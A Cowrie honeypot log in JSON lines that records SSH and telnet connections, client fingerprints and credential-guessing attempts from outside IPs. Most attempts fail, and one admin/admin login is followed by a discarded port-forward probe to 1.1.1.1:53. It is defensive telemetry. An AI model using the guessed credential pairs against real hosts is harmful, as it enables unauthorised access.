{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":50990,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b57ba18c2d5","protocol":"telnet","message":"New connection: 103.49.70.87:50990 (10.17.0.5:23) [session: 2b57ba18c2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:22.969080Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3bcf81dd4f3","protocol":"telnet","message":"New connection: 103.49.70.87:51000 (10.17.0.5:23) [session: d3bcf81dd4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:23.446575Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43702,"dst_ip":"159.203.135.109","dst_port":22,"session":"33803a2db007","protocol":"ssh","message":"New connection: 159.203.92.129:43702 (159.203.135.109:22) [session: 33803a2db007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:31.551690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:31.556134Z","src_ip":"159.203.92.129","session":"33803a2db007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:31.560834Z","src_ip":"159.203.92.129","session":"33803a2db007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anukis","password":"123456","message":"login attempt [anukis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:31.571494Z","src_ip":"159.203.92.129","session":"33803a2db007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:32.577911Z","src_ip":"159.203.92.129","session":"33803a2db007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":40724,"dst_ip":"159.203.135.109","dst_port":22,"session":"3993eecb1201","protocol":"ssh","message":"New connection: 157.7.113.83:40724 (159.203.135.109:22) [session: 3993eecb1201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:35.704571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:35.709432Z","src_ip":"157.7.113.83","session":"3993eecb1201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:35.870701Z","src_ip":"157.7.113.83","session":"3993eecb1201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"12345678","message":"login attempt [ftpadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:36.532965Z","src_ip":"157.7.113.83","session":"3993eecb1201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:37.693140Z","src_ip":"157.7.113.83","session":"3993eecb1201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58170,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a452930d667","protocol":"telnet","message":"New connection: 103.49.70.87:58170 (10.17.0.5:23) [session: 7a452930d667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:50.940484Z"}
{"eventid":"cowrie.session.closed","duration":30.71004557609558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:54.156542Z","src_ip":"103.49.70.87","session":"d3bcf81dd4f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.904425382614136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:54.873417Z","src_ip":"103.49.70.87","session":"2b57ba18c2d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":22964,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1723b057cf","protocol":"ssh","message":"New connection: 118.193.33.81:22964 (159.203.135.109:22) [session: 7d1723b057cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:57.238923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:57.243325Z","src_ip":"118.193.33.81","session":"7d1723b057cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:57.463609Z","src_ip":"118.193.33.81","session":"7d1723b057cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"54321","message":"login attempt [test/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:58.369346Z","src_ip":"118.193.33.81","session":"7d1723b057cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:59.598196Z","src_ip":"118.193.33.81","session":"7d1723b057cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":37782,"dst_ip":"10.17.0.5","dst_port":23,"session":"999bb980bdd2","protocol":"telnet","message":"New connection: 103.49.70.87:37782 (10.17.0.5:23) [session: 999bb980bdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:59.630522Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36130,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc763e03603","protocol":"ssh","message":"New connection: 159.203.92.129:36130 (159.203.135.109:22) [session: cdc763e03603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:17.105346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:17.110705Z","src_ip":"159.203.92.129","session":"cdc763e03603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:17.115713Z","src_ip":"159.203.92.129","session":"cdc763e03603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anukis","password":"anukis","message":"login attempt [anukis/anukis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:17.127560Z","src_ip":"159.203.92.129","session":"cdc763e03603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:18.134382Z","src_ip":"159.203.92.129","session":"cdc763e03603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.204822778701782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:22.145181Z","src_ip":"103.49.70.87","session":"7a452930d667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":34092,"dst_ip":"10.17.0.5","dst_port":23,"session":"393ebe95b223","protocol":"telnet","message":"New connection: 103.49.70.87:34092 (10.17.0.5:23) [session: 393ebe95b223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:24.721258Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27574,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ebfad96724c","protocol":"ssh","message":"New connection: 87.251.64.176:27574 (10.17.0.5:22) [session: 9ebfad96724c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:28.320867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:28.325475Z","src_ip":"87.251.64.176","session":"9ebfad96724c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:28.422317Z","src_ip":"87.251.64.176","session":"9ebfad96724c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:28.712084Z","src_ip":"87.251.64.176","session":"9ebfad96724c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:28.814228Z","session":"9ebfad96724c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:28.911496Z","src_ip":"87.251.64.176","session":"9ebfad96724c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:29.010983Z","src_ip":"87.251.64.176","session":"9ebfad96724c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56062912940979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:30.191015Z","src_ip":"103.49.70.87","session":"999bb980bdd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":41690,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9a5db8c62c","protocol":"ssh","message":"New connection: 157.7.113.83:41690 (159.203.135.109:22) [session: 1f9a5db8c62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:35.462323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:35.467220Z","src_ip":"157.7.113.83","session":"1f9a5db8c62c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:35.627403Z","src_ip":"157.7.113.83","session":"1f9a5db8c62c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test2018","message":"login attempt [root/Test2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:36.281815Z","src_ip":"157.7.113.83","session":"1f9a5db8c62c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:37.440500Z","src_ip":"157.7.113.83","session":"1f9a5db8c62c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":38176,"dst_ip":"10.17.0.5","dst_port":22,"session":"774ab9fb3a1e","protocol":"ssh","message":"New connection: 210.79.142.221:38176 (10.17.0.5:22) [session: 774ab9fb3a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:49.585054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:49.589414Z","src_ip":"210.79.142.221","session":"774ab9fb3a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:49.833595Z","src_ip":"210.79.142.221","session":"774ab9fb3a1e","protocol":"ssh"}
